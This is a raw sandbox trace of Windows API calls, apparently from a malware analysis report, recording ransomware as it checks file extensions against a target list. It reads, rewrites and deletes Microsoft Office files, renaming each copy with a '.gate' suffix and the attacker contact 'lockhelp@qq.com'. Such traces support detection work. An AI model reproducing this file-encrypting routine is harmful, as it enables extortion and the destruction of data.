[0321.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.672] lstrlenW (lpString=".pdf") returned 4 [0321.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.672] lstrlenW (lpString=".xls") returned 4 [0321.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.673] lstrlenW (lpString=".xlsx") returned 5 [0321.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.673] lstrlenW (lpString=".ppt") returned 4 [0321.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0321.673] lstrlenW (lpString=".zip") returned 4 [0321.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.673] lstrlenW (lpString=".rar") returned 4 [0321.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.673] lstrlenW (lpString=".bz2") returned 4 [0321.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.673] lstrlenW (lpString=".7z") returned 3 [0321.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0321.673] lstrlenW (lpString=".dbf") returned 4 [0321.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0321.673] lstrlenW (lpString=".1cd") returned 4 [0321.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0321.673] lstrlenW (lpString=".jpg") returned 4 [0321.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.673] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.674] lstrlenW (lpString="BD08808_.WMF") returned 12 [0321.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.674] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=47996) returned 1 [0321.674] CloseHandle (hObject=0x37c) returned 1 [0321.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0321.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.674] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.675] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0321.675] GetLastError () returned 0x0 [0321.675] ReadFile (in: hFile=0x37c, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0xbb7c, lpOverlapped=0x0) returned 1 [0321.800] WriteFile (in: hFile=0x36c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xbb80, lpOverlapped=0x0) returned 1 [0321.802] ReadFile (in: hFile=0x37c, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0321.802] WriteFile (in: hFile=0x36c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0321.802] SetEndOfFile (hFile=0x36c) returned 1 [0321.802] CloseHandle (hObject=0x36c) returned 1 [0321.802] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.802] SetEndOfFile (hFile=0x37c) returned 1 [0321.803] CloseHandle (hObject=0x37c) returned 1 [0321.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0321.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0321.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0321.804] lstrlenW (lpString=".doc") returned 4 [0321.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.804] lstrlenW (lpString=".docx") returned 5 [0321.804] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.804] lstrlenW (lpString=".pdf") returned 4 [0321.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.804] lstrlenW (lpString=".xls") returned 4 [0321.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.804] lstrlenW (lpString=".xlsx") returned 5 [0321.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.804] lstrlenW (lpString=".ppt") returned 4 [0321.804] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0321.804] lstrlenW (lpString=".zip") returned 4 [0321.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.804] lstrlenW (lpString=".rar") returned 4 [0321.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.804] lstrlenW (lpString=".bz2") returned 4 [0321.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.804] lstrlenW (lpString=".7z") returned 3 [0321.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0321.804] lstrlenW (lpString=".dbf") returned 4 [0321.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0321.805] lstrlenW (lpString=".1cd") returned 4 [0321.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0321.805] lstrlenW (lpString=".jpg") returned 4 [0321.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0321.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0321.805] lstrlenW (lpString=".doc") returned 4 [0321.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.805] lstrlenW (lpString=".docx") returned 5 [0321.805] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.805] lstrlenW (lpString=".pdf") returned 4 [0321.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.805] lstrlenW (lpString=".xls") returned 4 [0321.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.805] lstrlenW (lpString=".xlsx") returned 5 [0321.805] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.805] lstrlenW (lpString=".ppt") returned 4 [0321.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0321.805] lstrlenW (lpString=".zip") returned 4 [0321.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.806] lstrlenW (lpString=".rar") returned 4 [0321.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.806] lstrlenW (lpString=".bz2") returned 4 [0321.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.806] lstrlenW (lpString=".7z") returned 3 [0321.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0321.806] lstrlenW (lpString=".dbf") returned 4 [0321.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0321.806] lstrlenW (lpString=".1cd") returned 4 [0321.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0321.806] lstrlenW (lpString=".jpg") returned 4 [0321.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.806] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.806] lstrlenW (lpString="BD08868_.WMF") returned 12 [0321.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.806] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=40206) returned 1 [0321.807] CloseHandle (hObject=0x37c) returned 1 [0321.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0321.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.807] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.807] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0321.807] GetLastError () returned 0x0 [0321.807] ReadFile (in: hFile=0x37c, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0321.809] WriteFile (in: hFile=0x36c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x9d10, lpOverlapped=0x0) returned 1 [0321.810] ReadFile (in: hFile=0x37c, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0321.810] WriteFile (in: hFile=0x36c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0321.810] SetEndOfFile (hFile=0x36c) returned 1 [0321.810] CloseHandle (hObject=0x36c) returned 1 [0321.810] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.810] SetEndOfFile (hFile=0x37c) returned 1 [0321.811] CloseHandle (hObject=0x37c) returned 1 [0321.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0321.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0321.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0321.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0321.812] lstrlenW (lpString=".doc") returned 4 [0321.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.812] lstrlenW (lpString=".docx") returned 5 [0321.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.812] lstrlenW (lpString=".pdf") returned 4 [0321.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.812] lstrlenW (lpString=".xls") returned 4 [0321.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.812] lstrlenW (lpString=".xlsx") returned 5 [0321.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.812] lstrlenW (lpString=".ppt") returned 4 [0321.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0321.812] lstrlenW (lpString=".zip") returned 4 [0321.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.812] lstrlenW (lpString=".rar") returned 4 [0321.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.812] lstrlenW (lpString=".bz2") returned 4 [0321.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.813] lstrlenW (lpString=".7z") returned 3 [0321.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0321.813] lstrlenW (lpString=".dbf") returned 4 [0321.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0321.813] lstrlenW (lpString=".1cd") returned 4 [0321.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0321.813] lstrlenW (lpString=".jpg") returned 4 [0321.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0321.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0321.813] lstrlenW (lpString=".doc") returned 4 [0321.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0321.813] lstrlenW (lpString=".docx") returned 5 [0321.813] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0321.813] lstrlenW (lpString=".pdf") returned 4 [0321.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0321.813] lstrlenW (lpString=".xls") returned 4 [0321.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0321.813] lstrlenW (lpString=".xlsx") returned 5 [0321.813] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0321.813] lstrlenW (lpString=".ppt") returned 4 [0321.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0321.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0321.813] lstrlenW (lpString=".zip") returned 4 [0321.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0321.813] lstrlenW (lpString=".rar") returned 4 [0321.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0321.814] lstrlenW (lpString=".bz2") returned 4 [0321.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0321.814] lstrlenW (lpString=".7z") returned 3 [0321.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0321.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0321.814] lstrlenW (lpString=".dbf") returned 4 [0321.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0321.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0321.814] lstrlenW (lpString=".1cd") returned 4 [0321.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0321.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0321.814] lstrlenW (lpString=".jpg") returned 4 [0321.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0321.814] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0321.814] lstrlenW (lpString="BD09031_.WMF") returned 12 [0321.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.814] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=47786) returned 1 [0321.814] CloseHandle (hObject=0x37c) returned 1 [0321.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf")) returned 0x220 [0321.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0321.815] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.815] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0321.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09031_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0321.815] GetLastError () returned 0x0 [0321.815] ReadFile (hFile=0x37c, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0) Thread: id = 98 os_tid = 0xc30 [0317.997] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x548800 [0317.997] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x558808 [0317.997] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed9a0 [0317.997] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4e59b8 [0317.997] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed928 [0317.997] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x3b27020 [0317.999] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed9b8 [0317.999] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed9b8, Size=0x20) returned 0x4e9630 [0317.999] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed958 [0317.999] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4ed958, Size=0x20) returned 0x4e97e8 [0317.999] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0317.999] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0318.000] Wow64DisableWow64FsRedirection (in: OldValue=0x300ff50 | out: OldValue=0x300ff50*=0x0) returned 1 [0318.000] lstrlenW (lpString="kernel32.dll") returned 12 [0318.000] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9630 | out: hHeap=0x490000) returned 1 [0318.000] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0318.000] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e97e8 | out: hHeap=0x490000) returned 1 [0318.000] Sleep (dwMilliseconds=0x64) [0318.285] Sleep (dwMilliseconds=0x64) [0318.499] Sleep (dwMilliseconds=0x64) [0318.979] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0318.979] lstrlenW (lpString="AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml") returned 53 [0318.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0318.979] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=1261) returned 1 [0318.979] CloseHandle (hObject=0x374) returned 1 [0318.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0318.979] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0318.980] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.980] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0318.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012B-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-012b-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0318.980] GetLastError () returned 0x0 [0318.980] ReadFile (in: hFile=0x374, lpBuffer=0x3b27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b27020*, lpNumberOfBytesRead=0x300fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0318.983] WriteFile (in: hFile=0x378, lpBuffer=0x3b27020*, 